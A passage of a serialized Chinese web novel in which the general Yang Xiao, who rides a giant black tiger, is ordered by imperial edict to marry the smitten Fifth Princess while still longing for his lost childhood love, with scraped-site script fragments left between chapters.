慧王妃是个健谈的人儿,而杨落儿也每每能说到慧王妃的心坎里,引得慧王妃不时的发出阵阵欢笑:“……唉呀!你这个妮子说的真好,我好久都没有吃过这么开心的一顿饭了,真像是回到了小时候在自己家里的感觉。” 晚饭就这样在轻松愉快的气氛中度过了。 晚饭后慧王妃又同杨落儿拉了会儿家常然后便早早的休息去了。 时值立秋刚过,入夜后便会有许多萤火虫四处飞舞,那星星点点的亮光就好像是漫天的繁星落到了人间,在这寂静的夜里,伴着阵阵虫鸣声,分外的美丽迷人。 年轻人的精气神总是那么的充足,躺在床上的五公主翻来覆去,久久难以入睡,干脆带上两个贴身的婢女偷偷的溜出了院门。 院子外面的蒲阳山庄除了虫子的叫声外一切都静悄悄的。看着到处飞舞的萤火虫一会儿没入草丛,一会儿飞上树梢,一会儿又越过屋檐,五公主一时间玩心大起。她带着两个婢女到处的捕捉着萤火虫,然后把它们放进一个细纱巾做成的小袋子里,再用一根小棍子挑着当做灯笼玩儿。 在五公主的欢笑声中,不知不觉间就捉了不少的萤火虫,可路也渐渐的越走越远了。 三个人正玩的高兴的时候,忽然听到有一阵阵孩童的欢笑声隐隐约约的从前面传来,这阵欢笑声钩起了少女的好奇心。五公主使劲儿的往前面张望着:“大半夜的怎么还有小孩子在外面玩耍?”说着就要往那笑声传来的方向去寻找。 一名有些胆小的婢女担心道:“公主,咱们是不是走的有点远了?还是不要过去了,免得……。” 五公主有些不以为然,她一摆手道:“嗨!怕什么?在这将军府里还能有什么危险不成!?” 于是三个人提着灯笼在月色下一路向前寻去。 而此时,在离她们不远处的一片空地上,杨笑正陪着纯灵这个小丫头骑在小黑的身上玩耍。 小丫头骑在小黑的身上指挥着它去捉那些四处飞舞的萤火虫,相对于小巧的萤火虫,小黑那笨拙的样子引得纯灵发出一阵阵银铃般的欢笑声。杨笑也被这份欢乐感染的不时发出爽朗的笑声来。 此时正值月圆之夜,夜空中月明星稀,月亮就像一只银盘一样高高的挂在天上,皎洁的月光把地面上照在一片雪亮。 五公主带着两个婢女一路顺着声音寻找而来。穿入一片灌木丛后,透过树丛的枝叶间远远的便看见一只巨大的野兽在那里跑来跳去。 三个人大惊失色! 可那一阵阵的欢笑声分明就是从那只野兽的方向传来的。再仔细一看,在那只野兽的身上还骑着两个人,其中一个不是她五公主白天里见到的杨笑还能是谁?在杨笑的怀里还有一个约么五六岁的小女孩儿,五公主听到的笑声正是那小女孩发出的。 两个婢女这时候早已吓得花容失色,而五公主在看到杨笑的那一刻起,心中的惧意早就已经忘到九宵云外去了。此刻的杨笑在她的眼里就如同天神降世一般英武非凡。此时的五公主芳心悸动,就那么痴痴的望着杨笑的身影,在她的眼睛里这天地间仿佛就只剩下了杨笑,对身旁婢女苦苦衰求自己回去的声音充耳不闻。本来杨笑在白天的宴席上就引起了五公主的注意,此时此刻更是让她一见钟情,芳心暗许了。也许这时候的五公主,对杨笑的心意可以用那句:“陌上谁家年少,足风流。妾拟将身嫁与,一生休。”来形容了吧! 就在五公主对杨笑倾心不已的时候,另一边玩闹的正欢的两个人,见小黑忽然止住身形,直直的盯着一处方向,嘴里也发出戒备的低吼声。杨笑冲着那处方向喝道:“谁在那里!?” 五公主闻声扭扭捏捏的低着头出了灌木丛,远远的冲杨笑施了个万福。要不是天黑离的又远,杨笑一定能看到五公主那张羞的连月色都遮不住的通红的脸颊。 杨笑看清是五公主后连忙翻身下虎快走几步拜倒在五公主面前:“末将杨笑见过公主!不知公主驾到,让公主受惊了。”言毕对身后的小黑沉声道:“小黑,还不速速退下!” 五公主忙伸手止住:“哎杨……。”话到了嘴边五公主却又不知道该说些什么了,脸上不由的又露出羞涩之意来。 杨笑抱拳道:“公主但请吩咐。” 五公主顿了顿问道:“这……这神兽……是……是杨将军养的么?” 话刚问出来五公主立刻就觉得这个问题问的真是有些蠢,不是人家养的又怎么会骑在上面? 有句话不是说:恋爱中的人智商最低嘛?这时候的五公主就是恋爱了。 杨笑回头看了一眼小黑说道:“这虎乃是末将从小养的。” “虎?”五公主露出一分好奇之色:“你是说它是只老虎?” “正是。”杨笑回答。 五公主隔着杨笑又往小黑身上望了两眼:“黑色的老虎,我还是头一次见呢。” 两个人在这边说着话,骑在小黑身上的纯灵早就不高兴了。她撅着小嘴儿薅了一把小黑背上的毛,小黑有些委屈的呜咽了一声,然后转过身慢慢的消失在夜色里了。 杨笑见状向五公主歉意道:“小黑有些不愿见生人,公主勿怪。” 五公主点点头:“不打紧的,不知道那小女孩儿……?” “哦,那是末将的小妹,小丫头有些不懂事,怕冲撞了王妃和公主,所以白天的时候就没有让她出来。”杨笑解释道。 五公主还待说些什么,杨笑却说道:“夜已经深了,末将送公主回去吧?” 五公主点头应允。 芳心暗许的五公主跟杨笑之间又会有哪些事情发生呢?欲知后事如何,且听下回分解! window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第五十九回 赐婚 慧王妃在蒲阳山庄停留了三天,三天后起程回西梁王府去了。杨笑自此也如往常一样在军营驻地和家之前来回的奔波。 很快时间就来到了冬天。这一天杨笑正在军营里处理军务,有侍卫来报:“将军,您家里面来人说是有十分要紧的事情要您赶紧回去一趟。” 杨笑处理完军务,一路策马飞奔回到山庄。一进门就见姐姐杨落儿笑容满面的迎了出来,一旁还有李伯通与杨虎杨豹两兄弟也是连连道喜。杨笑一下子搞不清状况,有点丈二和尚摸不着头脑:“喜?这么着急把我叫回来,不知道喜从何来呀?” 李伯通一拍额头说道:“哦!对……怨我,怨我。你还不知道这件事呢。”说着转过身向大厅里面招呼道:“刘公公,刘公公。” 这时杨笑才注意到大厅里还有一个宦官模样的人。那宦官上前几步来到杨笑跟前问道:“可是忠武将军杨笑?” 杨笑抱拳道:“正是杨笑。” 那宦官连道两声“好”然后回身从一名侍从捧着的托盘里面取出一个五彩卷轴来。只见他迈步立于大厅正中双手将那卷轴举过头顶高声道:“杨笑接旨!” 在场之人闻声全都拜倒在地高呼“万岁”。 “奉天承运皇帝召曰:西梁王五女星洛,才貌双全,聪颖伶俐,自幼于朕膝下承欢,使朕得享人间之天伦,至今忆来心中亦甚是慰籍。女子二八,碧玉年华。今闻倾心于贡州府忠武将军杨笑,此年余来少有之喜。特予赐婚,择佳期以成百年好合。望二人夫妻和睦,偕首白头,以慰朕心。钦此!” ???????杨笑闻言如遭当头棒喝,一时间整个人都呆在当场,连姐姐在旁边悄悄的扯动他的衣襟都不曾察觉。那宦官见杨笑跪在那里一动不动,便轻声提醒道:“杨将军?杨将军?还不快快接旨?”哪知杨笑仍是没有反应。 这时一旁的李伯通呵呵笑着打破这有些尴尬的场面:“哎呀!年轻人没见过什么大场面,忽然之间有这等洪福从天而降,嗯……有些…有些懵了……啊!有些懵!嗯……杨诰命还不快替你家兄弟接过圣旨。”杨落儿听到李伯通的提醒连忙上前从那宦官手中接过了圣旨。 几个人人再次山呼万岁谢恩。 ?李伯通与杨虎杨豹兄弟邀请那传旨的宦官前往赴宴,那宦官假意推辞几句便在众人的簇拥下吃酒去了。 原来,慧王妃回乡省亲,返程途中到蒲阳山庄小住两日乃是受了其子武恭的请求前来拉拢杨笑的,至于什么护驾之功,途中劳累不过是借口而已。而在宴席中五公主初见杨笑本就对面前的俊朗青年颇为顺眼,再加上那夜月色之下目睹杨笑骑虎而行,那等威武气势令怀春少女早以是一颗芳心暗许。回到西梁王府五公主便向父王与母亲表明了心意。 西梁王闻言自是高兴,自己这个小女儿从小就聪明伶俐,一直以来都将其视为掌上明珠,如今自己的女儿有了心仪之人,还是一位如慧星般崛起的才俊,自然是一件让西梁王乐见的好事。西梁王向皇帝上了奏疏请旨赐婚,大周皇帝降旨恩准,这才有了刚刚这一幕。 一般情况下只有皇帝的女儿才能称之为公主,而藩王的女儿通常只能称之为郡主。皇朝的公主王孙们生来便要为皇朝付出,一切都以皇朝的利益为上,谈婚论嫁从来就没有自己的自由,哪一个不是为了巩固王朝的统治而服从于政治联姻。为什么西梁王的这个女儿就这么特殊呢? 原来在五公主五岁那年,西梁王前往圣京朝拜时将她带入殿上面见皇帝。这一见,竟是与这位皇帝伯父十分的投缘。皇帝虽然也有许多儿女,可唯独在自己这个侄女儿的身上才体会到了从来没有过的亲情和快乐。皇帝亲口给了五公主的称号还有许其自决婚配的承诺,自此便将她留在身边,直到十四五岁的时候才回到西梁。?因此,只有这个五公主例外,不但以藩王之女拥有公主的称号,还特许她自决婚配。 等所有人都离开后,杨笑缓缓的扭头望向姐姐,他的眼里满是悲伤和无助:“姐姐,云羲还没有找到呢。” 杨落儿叹息一声:“姐姐也没有什么办法呀!” “我不要这门婚事,我要云羲!”杨笑的情绪有一点点激动。 “姐姐知道你的心意,可……可这是圣旨啊!”杨落儿劝道。 ?“……。”杨笑缓缓摇头,眼眶中有些湿润。 ?“笑儿,我们找了她这么多年也没有找到,说不定孟家早就不在京城了,而她也说不定早已嫁为人妇了。”杨落儿接着劝慰。 杨笑还是摇头。 “笑儿,这可是圣旨呀!”杨落儿的心里开始有些担心杨笑会做出什么傻事来,她抓着他的肩膀提醒道:“你若是执意违抗,不但你我二人要死,就是两位堂叔家也要遭受牵连呀!” 杨笑听到姐姐的提醒,抬起头呆呆的望着她。他有心想要孤身一人远走他乡,去寻找自己心里始终惦念着的女子,可姐姐说的话也不能不顾及,他不能为了一己私利而害了这么多人。杨笑的心里在经历了一番剧烈的挣扎后,还是不得不向现实低下了头。好一会儿,杨笑才望着门外有些垂头丧气的说道:“可云羲她该怎么办?” 杨落儿有些恼了:“忘了那个孟云羲吧!不过是十岁孩子的一句戏言,你竟然执着到现在,为了她你受了多少苦?这也算对得起她了!” “……。”杨笑无力的瘫坐在地上,脸上尽是颓废之色 从这一天起杨笑一连几个月都称病在家,每天都像丢了魂魄一般,常常一个人呆在角落里望着手里的一条丝绢发呆。 …………………………………………………………………………………………………………………………………………………………………… window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第六十回 狄绒族特使 春末夏初。 蒲阳山上,杨笑正靠着小黑半躺在地上望着天空发呆,王大勇来到杨笑身边轻声说道:“少爷,军营里来人要见少爷。” 杨笑回过神儿来哦了一声:“是谁呀?” 王大勇轻声道:“来人自称姓吕,说是带了王府的信函。” 杨笑起身拍了拍衣服上沾着的草沫,打起了几分精神说道:“走吧。”说罢迈步而行,王大勇忙递上手中的马鞭。 书房内一名身着轻甲的中年将领见杨笑进屋忙起身道:“属下见过将军。”来人乃是杨笑手下一名副将,四十多岁,杨笑平时尊一声吕大哥。 杨笑伸手示意道:“是吕大哥呀。这里不是军营,吕大哥不必多礼。”杨笑接着道:“我不在营里这段时间多亏了你们几位帮我打理营中事务,待我回去后一定要好好感谢各位。” 吕蒙回道:“将军言重了,这都是属下该做的事情。” 杨笑一边说着一边坐到了书桌后,接过吕蒙递来的信。信封上有西梁王府的印记,用火漆封了口。杨笑拆开信件看了里面的内容,抬头见下面的吕蒙一脸好奇的望着自己便微笑道:“没什么要紧的事情只是王爷召见。” 两人又聊了些军营里的事情吕蒙便告辞离开了。 刚送走吕蒙,杨落儿便来到书房:“笑儿,五公主又差人来问候,还送来许多贵重的药材和补品。” 杨笑施礼:“又劳烦姐姐了。” 杨落儿扶住弟弟:“人我已经给你挡回去了,可你总不能一直不见吧?” 杨笑扶姐姐坐下:“让姐姐操心了,刚刚王爷书信召见,明天我就去王府顺便向公主赔罪。” 几日后,西梁王府。 ?“……诸位都说说吧,说说这狄绒族的特使突然要来我大周是为了什么呢?”说话的正是西梁王。 一位面容清癯的老者起身道:“下官以为狄绒族此行多半怀有不轨之心,我等需多多提防,多多提防。” 又一人起身道:“那帮狄绒鞑子提意要与我西梁将士做一番交流,未将觉得他们是想要在中间做些文章好更进一步的探一探咱们的虚实。” ……。一时间众人各抒自见,西梁王不时点头。最后西梁王说道:“诸位说的都很有道理,我族与狄绒族乃是世仇,但两军交战不斩来使,对方远来是客,防范之余还是要以礼相待的……。”这时一名披甲侍卫上殿道:“禀王爷,贡州城杨笑将军到了。” “宣上殿来。” “是!” ?很快杨笑上殿见了礼。西梁王问道:“杨笑,对于狄绒族此行你有什么看法吗?” 杨笑拱手道:“回王爷,对于狄绒族特使此行未将倒是有一些想法。” “哦?说来听听。”西梁王面上流露出几分兴趣来。 “其一,狄绒族乃我大周世仇,其狼子野心世人皆知,而我朝关内近些年来流民四起,一直不是很平静,这些事情难免会传入他们的耳朵里,所谓耳闻不如眼见,其此行很可能是想要亲眼看一看我大周如今的境况如何。” 西梁王捋着胡须点点头。杨笑接着说道:“其二,狄绒特使此行必定随从众多,届时人多事杂,也就给了对方斥候以可乘之机,从而趁乱在我大周境内再安插一批人,一来可以进一步打探我朝虚实,二来也可在我西梁生乱,而我西梁又是大周的屏障,若我西梁内乱,狄绒族便可趁机生事。” 西梁王再次点头。 “其三,那狄绒族所谓的两军将士交流,可能是想要向我方展示一下他们的实力,好灭一灭我军的士气,长一长他们的威风。” “其四,狄绒族所来之人……。” 待杨笑言罢西梁王似有思索的缓缓点头道:“你说的都很有道理,那你可有什么应对之策?” 杨笑道:“有倒是有,只是还不太完善。” “那先说来听听。” 杨笑说道:“首先,狄绒特使到来时我方需多遣人马,在边界之处相迎,明面上表示对方的身份尊贵,我方重视之意,实则在暗中行监视之实;其次请求朝庭配合,沿途乱军务必清除干净,制造百姓安居之像以迷惑狄绒族人;最后多派暗哨、暗捕,但凡有中途离队之人一律秘密解决,务必不要让其逃脱或是潜伏;最后拣选军中精锐尽量在对方说的所谓交流中压他们一头,以打消其嚣张气焰。” 听完杨笑的话西梁王略做思量后说道:“你说的很好,也很全面,诸位将军可还有什么要补充的吗?” 其实杨笑的这一番话在他到来之前众人已经说的七七八八的了,只是杨笑进门后西梁王有意给他发言的机会。他的一番言论也只是把众人说过的话给总结了一遍而已。也不是杨笑没有才华,不然他也不能在没有参于刚刚的讨论的情况下就说出这一番话来。也不是西梁的众文武无能,一个个草包似的。而是这件事情翻过来调过去,无外乎就是那么几种情况,一时半会儿还真是想不出有别的什么可能来。在场之人要么戎马一生,要么浸淫官场多年,一个个都是老滑头,在人情世故的这口锅里头早已炸成了外焦里嫩的老油条,哪一个也不是省油的灯,谁要是还看不出来西梁王这时候是有意捧一下自己这个未来女婿的话,那这一把岁数可真就是活到狗身上去了。 ?这不很快就有一位官员抚着颌下长须用略显尖利的嗓音说道:“杨将军所言极是啊!我等众人商议半天也不及杨将军方才所言啊!” 又有一高颧骨的武将一挑大拇哥声音粗犷道:“杨将军不愧是我西梁的才俊啊!” ?“我西梁有此才俊未来可期呀!”一个显得憨厚的声音道 ??“恭喜王爷得此良婿。” ??“五公主好眼光啊!”这一嗓子引的众人一阵哈哈大笑。 末了众人又补充了一些建意,定下计划后就只待狄绒族特使的到来了。 ………………………………………………………………………………………………??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第六十一回 黑虎现世 关于狄绒族特使来访的事情都商议妥当后,西梁王抚须笑着问杨笑:“本王听公主说你养的坐骑很是惊世骇俗呀?” 杨笑回道:“王爷过誉了。” 众人一阵切切私语,一人站出来向西梁王拱手问道:“不知道是什么样的坐骑能让王爷视为惊世骇俗呢?” 西梁王呵呵笑道:“你们且都猜上一猜。” 有人先开口道:?“难不成是一匹世所罕见的绝世良驹?” 立刻有人站起来表示不同意此人的说法:“绝世良驹似乎也称不上惊世骇俗吧?” 有人附和道:?“是啊!什么样的坐骑能用惊世骇俗来形容呢?” “不会是那传说中的仙家坐骑吧?”另一人猜测道。 “怎么可能,那可是仙人才能有的东西,它必经只是传说呀!”这个猜测也有人不同意。 众人一时间七嘴八舌的胡乱猜测起来。看着他们一个个你一句我一句相互之间争来争去的样子真是让杨笑大感意外,原来这些平日里板着面孔一脸严肃的大人们也有这样喜欢八卦的时候。这时有人说道:“不会是山中的猛兽吧?” “诶!相差不多了。”西梁王笑道:“不过就是山中猛兽也有些相形见绌。” ??“唉呀!不会真的是仙家之物吧?” ??西梁王见吊足了这帮老家伙的胃口便问道:“杨笑啊,你那坐骑可曾带来?” ?杨笑无奈的有些想笑:“回王爷,就在城外校场。” 西梁王起身道:“好哇!都不要猜了,一块儿去看看吧。” 于是众人一同向城外校场而去。 西梁王出行,还有这许多的将军大臣随行,喏大的阵仗在西梁城中也甚是少见,引的街道两旁民众纷纷驻足围观,议论纷纷。 来到校场,西梁王与众将军大臣们在台上坐定。 “都坐好了吧?”西梁王玩笑道“杨笑啊让你那坐骑出来吧?” “是。” 杨笑转身刚走出两步西梁王又招手道:“不急,不急,先让它叫上两声给他们听听。” 杨笑无奈的摇头一笑。 旁边一个监时搭起的围栏,用黑布遮了个严严实实。杨笑在围栏的外说道:“小黑,平时在家里不敢让你乱叫,现在在这里你可以放开了叫了。” 杨笑刚一说完只听一声虎啸之声便从围栏里传了出来。那声虎啸响彻云霄,直震的台上的众人耳膜生疼。而西梁王早在吼声响起之前就堵住了双耳,见众人一副狼狈的样子,得意的大笑了起来。 一连几声虎啸后紧接着就是一股今人胆寒的威压排山倒海般扑面而来,众人猝不及防中被这股威压震慑的纷纷跌坐在地。而校场内的战马,早已在虎啸威压之中全都匍匐在地,哀鸣不己,有许多还便溺了一地。 一个巨大的黑色身影从围栏内一跃而岀,站立当场仰天长啸一声,这一声吼叫更是将几匹战马吓的昏死了过去。 西梁王饶是心里早有准备也被这脱气势压的心中直颤,其余之人就更别提了,许多人都是两腿发软,颤抖不己。有一位老将军在仆人的搀扶下,边起身边小声嘀咕着:“唉呦!这下老脸都丢尽了喽!”原来这位戎马一生的老将军在突如其来的惊吓之下没管住自己的裤裆,尿湿了一大片。老将军边起身边抓着衣袍去挡,可挡的了前面挡不住后面,屋股后面的一片湿印早已把他出卖了个净光。 杨笑柔声道:“好了,小黑。”小黑闻言止住吼声摇头晃脑的来到杨笑身边,底头在他身上蹭来蹭去,样子十分滑稽可爱。 一位腆着肚子的将军有些意外道:“呀!它还能这样?” 杨笑微笑道:“小黑尚在幼年,并没有多少凶性。” 西梁王望着眼前这威风凛凛的巨兽惊叹道:“好一匹神兽啊!” 西梁王远远的绕着小黑左看右看,杨笑示意他可以走近些。西梁王试探着走到小黑跟前仰头看着小黑,小黑也底头望着西梁王。此时蹲坐在那里的小黑是一头不折不扣的巨兽,站在小黑跟前,那种直抵心灵深处的威压和仰视之感是西梁王平生都未曾有过的。“真乃神兽也!”西梁王再次感叹道。 见西梁王伸手想要触摸小黑,杨笑连忙制止道:“王爷且慢!”西梁王一惊,忙缩回了手。杨笑见状拱身告罪道:“小黑不喜欢生人触摸,恐怕伤着王爷,王爷勿怪。”西梁王努力平复了一下心神:“哦……那里那里……神兽嘛,有些脾气很正常,很正常的。”说着有些尴尬的笑了两声。 “杨将军能得此神兽,想来定有奇缘啊!”人群中有人说道。 “有如此神兽,杨将军也定然不凡啊!” “杨将军莫不是天神下凡吗?”……。 众人又是一阵毫不遮掩的马屁。 其实仔细看,拍马屁的也就是那几位上了年岁的文官武将。这些人追随西梁王征战多年,都是西梁王真正的老伙计,而这些马屁其实也只是他们之的玩笑话。平常聚在一起的时候他们就总是这样,今天拍这个一阵马屁,明天把那个损一通,就是西梁王也不是每回都有马屁可享受的,被损的时候也不少。从年轻的时候到现在都是这样,这算是他们这些老伙计之间的一个保留项目吧。 ?把小黑左右看了个够的西梁王连声说道:“好!好哇!那南苑王说是得了几匹西域的绝世良驹,要带来让本王鉴赏一下。哼!还不是想在本王面前显摆显摆,好长长他的威风,让本王难堪。”西梁王冷哼道:“这下好了,有了这匹神兽我看那个毛头小子还怎么在本王面前得意。” 必经西梁王也是好面子的,两国之仇是大事,脸面也不是小事。西梁王越想越开心,拍着杨笑的肩膀大笑道:“好!真是本王的好女婿!” 而在这人群之中,有一个人始终是一言不发。 ?………………………………………………………………………………………………………………………………?????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第六十二回 再见五公主(一) 上一回说到小黑初次在人前亮相,校场内连人带马都被小黑的气势给好一番镇摄。 没过多少天,关于小黑的流言就在西梁城的坊间传开了,并且越传越玄乎。有说那神兽是天神相赠的;有说是山中猛兽修练成灵的;还有的说是杨笑生就带来的;……总之是飞天遁地,吞云吐雾,口含烈焰等等等等……玄乎其玄说什么的都有。 这一天西梁王府中。 ??“母亲,母亲你快点。”一个稚嫩的声音催促着。 “嬴儿慢点,慢点,不着急。”一个柔美慈祥的声音回道。 “我等不及了。”那个稚嫩的声音又道。 “这孩子,也真是的,什么样的奇珍异兽你没见过……。” “这个不一样。”不等那个慈祥的声音说完稚嫩的声音便抢着道。 原来是西梁王妃和小世子。此时的小世子正一手抱着怀里的蹴鞠一只手使劲儿拉着王妃急着要去什么地方。王妃只得一边被她疼爱的小世子拉着往前急迈脚步一边温柔的提醒他慢一点。 路的尽头是一堵不高的宫墙,墙上有一个漂亮的月亮门。转过门就看到有两个人正坐在那里喝茶,正是西梁王与杨笑。西梁王看起来很高兴的样子。 刚一进门小世子就“哇”了一声,一副像是看到了什么不可思议的事物似的。惊讶之中手上的劲儿松了点,那只蹴鞠“啪哒”一声掉在了地上弹跳着向前滚去。 一个黑色的,尖尖的,带着弧度的东西轻轻地抵住了蹴鞠。那黑色的尖锐之物连在一只黑色的巨掌上。巨掌伸出尖锐爪甲将蹴鞠捏了起来,正是趴在一旁的小黑。 小黑将蹴鞠捏在面前看了看,又伸出鼻子嗅了嗅,一脸好奇的样子。这颗皮球在它的面前实在是太小了,小黑只是左右看了看那只蹴鞠便对它失去了兴致,将它随意的抛到一旁。蹴鞠弹到不远处的墙上又滚回到小黑的身旁。小黑低头看了一眼,抬爪将蹴鞠随意的拨到了一边,蹴鞠又在墙上弹了一下再次跳到了小黑的脚下。这下这只小小的蹴鞠引起了它的注意,于是本来就有些百无聊赖的小黑就把这只蹴鞠一次次的抛出去再弹回来,打发一下这无聊的时间。 这下子可把一旁的世子看的高兴坏了:“它还会玩儿蹴鞠,太神奇了!”小世子满脸兴奋而又不可思议的表情。 西梁王转过身见是王妃于是面带笑容示意她坐到自己身旁,杨笑也忙起身向王妃见礼。西梁王妃走到近前向西梁王施了个万福后又对杨笑说道:“头一次见面就觉着跟你这孩子有缘,没想到这么快就要成一家人了。快免礼吧,都是一家人,用不着这些个俗礼。”说着将杨笑扶起身把杨笑上下打量了一遍,打趣道:“别说,咱们家五儿的眼光就是好!瞧瞧,多精神的小伙儿。”一句话把杨笑说的都有些不好意思了。“呦!你这战场上威风八面的将军还会脸红?” 一旁的小世子扯了扯杨笑的衣角:“那个…那个……。” 杨笑见状问道:“世子殿下有话尽管吩咐。” 小世子可不是有什么话不好意思说出口,而是想要让杨笑带他去摸一摸那只让他心痒难耐的大老虎,却又怕杨笑不肯,有心巴结一下杨笑,又不知道该称呼人家什么才好。叫杨将军吧……觉得有点生分,怕人家不肯答应。叫姐夫吧……又觉得太早了点,不太合适。一时间小世子的表情有些复杂。 小世子见杨笑都这么说了便指了指小黑,堆起满脸的笑容,不客气道:“给我摸摸好不好?” 杨笑看了一眼小黑有些歉意道:“只是它认生的很……。” 王妃在旁忙劝道:“嬴儿不可乱来。” 小世子也不理母亲的话,向杨笑伸出一根小手指嘻皮笑脸的说道:“就一下,我就摸一下。” 杨笑看了看小黑,又挠了挠头:“嗯……好吧。”虽说有些犹豫,但最后想了想还是答应了下来。于是,杨笑拉着小世子的手向小黑走去。 杨笑拉着小世子走到小黑跟前,正在拨弄着手中……呃不,是爪中小皮球的小黑,见杨笑走过来便匍匐在地面上,背着一双耳朵,一副乖巧听话的样子。杨笑抓了小世子的手去摸小黑的脸颊,小黑见状“呜”了一声歪了歪脑袋,小世子的手臂便有些够不着了,杨笑便顺势拉着小世子摸到了它放在地上的爪子。 小世子的手刚挨着小黑,没想到这家伙就哀嚎一声缩在一边用另一只爪子使劲儿的扒拉着刚刚被小世子摸到的地方,嘴里还哼哼唧唧的,那副极不情愿的样子就好像是一个怀春的少女被哪个流氓小子给揩油摸了一下似的。小世子被它这个滑稽的样子逗的“咯咯咯”的笑了起来,在旁的众人也都忍不住哈哈大笑起来,谁也想不到看起来高大威猛的小黑竟然还有这样滑稽可爱的一面。 正在众人乐不可支的时候,听到一声:“五公主到!”话音过后就见五公主款款而来。 五公主行至近前向西梁王与王妃见了礼,西梁王抚须笑道:“五儿啊,你来晚了一步,没看到你弟弟逗弄那只大猫。” 杨笑拉着小世子转回身来向五公主见礼:“杨笑见过五公主。” 五公主也向他盈盈一拜。起身时五公主抬眼看了杨笑一眼,正好与同样起身的杨笑目光对上,四目相对之下,一时间五公主双颊飞红,杨笑也连忙低头向旁退了一步。 就在这时,小世子跳到五公主跟前拉着她的手叫道:“姐姐,姐姐,你刚才没看见,那只大老虎真是太好笑了。”说着就自顾自的笑了起来。 五公主向杨笑歉意道:“小弟有些调皮,还请莫要见怪。” 杨笑回道:“哪里,小世子天性纯朴。” “……。” 就这样一说一应,两句客道话之后,两个人就都不知道该再说些什么才好了,一时间有些冷场。 就在两人都倍觉尴尬的时候,西梁王妃轻咳了一声,开口道:“夫君,妾身做了几样小点心,夫君要不要去尝一尝?”说着还朝西梁王递了个眼色。 西梁王初开始愣了一下,不过他立刻就反应了过来:“哦?……哦!呵呵……你这么一说我还真是有点饿了呢。呃……咱们去吃点心……嗯……吃点心,吃点心。”说着拉起王妃的手就向外走去。 跟在王妃身边的一位年长些的侍女走过五公主身后时冲几个小丫鬟摆摆手递了个眼色,几个跟在五公主身边的小丫鬟也都是灵利人儿,会心的微微一笑,都跟着退出了园子。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第六十三回 再见五公主(二) 转眼间诺大个园子里就只剩下杨笑和五公主两个人相对而立了。 两个人一时相对无言。 过了一会儿五公主轻声道:“你不请我坐坐吗?” 杨笑这才恍然道:“公主殿下请坐。” 五公主轻轻落坐于一旁的雕花石墩上。到底是金枝玉叶,一举一动都是那么的恰到好处,多一丝便显的作做,少一丝就看着扭捏。 见杨笑仍是站在那里不动五公主又轻声道:“你不坐吗?” “杨笑站着就好。”杨笑不咸不淡的回道。 ?“听说你是岭南人?” ?“杨笑祖籍山阴县。” ??????“听说……你有一位青梅竹马的未婚妻?”五公主有些诺诺的问道。 ????“公主既知杨笑心意为何……。” “我喜欢……。”不等杨笑说完五公主就抢着说道,可话到一半又觉得十分的难为情,于是羞红了脸低着头接着小声的说道“……你。这还不够吗?” 杨笑一时有些语塞。 是啊!她是金枝玉叶的公主,想要什么得不到?需要在乎他人的想法和感受吗? “跟我说说你以前的事吧?”沉默良久后五公主说道。 ??杨笑的嘴唇动了动。以前的事?他已经好久不曾回忆过以前了,那些童年的欢乐早就模糊的让人记不清了,记得的只有痛苦和辛酸,不由得鼻腔里便泛起一丝酸楚来。杨笑的胸口一起一伏,长长的吐了一口气:“以前……没什好说的。” ?五公主见杨笑这般表情知道自己说错了话,本想着经杨笑的口了解一下自己这个未来的夫婿,不成想弄巧成拙倒勾起了他人的伤心事。于是五公主歉意道:“对不起。是我的不是,不该提起来的。” ?杨笑有些勉强的笑了笑:“杨笑多谢公主好意,公主不必自责。” ……。 又是一阵沉默,?场面再一次的陷入了尴尬。 杨笑就像个石头人儿似的低着头杵在那里目不斜视,五公主不说话,看上去他也不像是会主动说话的样子。这边五公主底头玩弄着手里的丝绢也不知道该说些什么,不经意见抬头看见不远处的小黑。 此时的小黑早对那只蹴鞠没了兴致,趴在地上享受着午后的阳光打起了盹儿来,完全不知道自己是一个大号的电灯泡。五公主于是说道:“你的老虎睡着了。” 杨笑瞥了一眼小黑:“它呀?它最喜欢的就是吃饱了晒着太阳睡懒觉。” 正在那里酣睡的小黑似乎是知道有人在说它的坏话,一只眼挣开一条缝瞥了一下那个说自己坏话的家伙,就又满不在乎的换了个姿势接着睡觉去了。 小黑的这番表现把五公主逗的掩嘴轻笑。这一笑不说是倾国倾城也算得上是世间少有了,而一旁的杨笑却像没看见一样。 自从有了小黑之后,杨笑的生活里便增添了许多的快乐,说起小黑来杨笑的神色也好了一些。五公主见状便问:“它叫什么名字呀?” 杨笑抬头望了五公主一眼道:“它叫小黑。” “小黑?” ??“嗯。” ??“是你给取的名字?” “对。” “这名字是有什么寓意吗?” 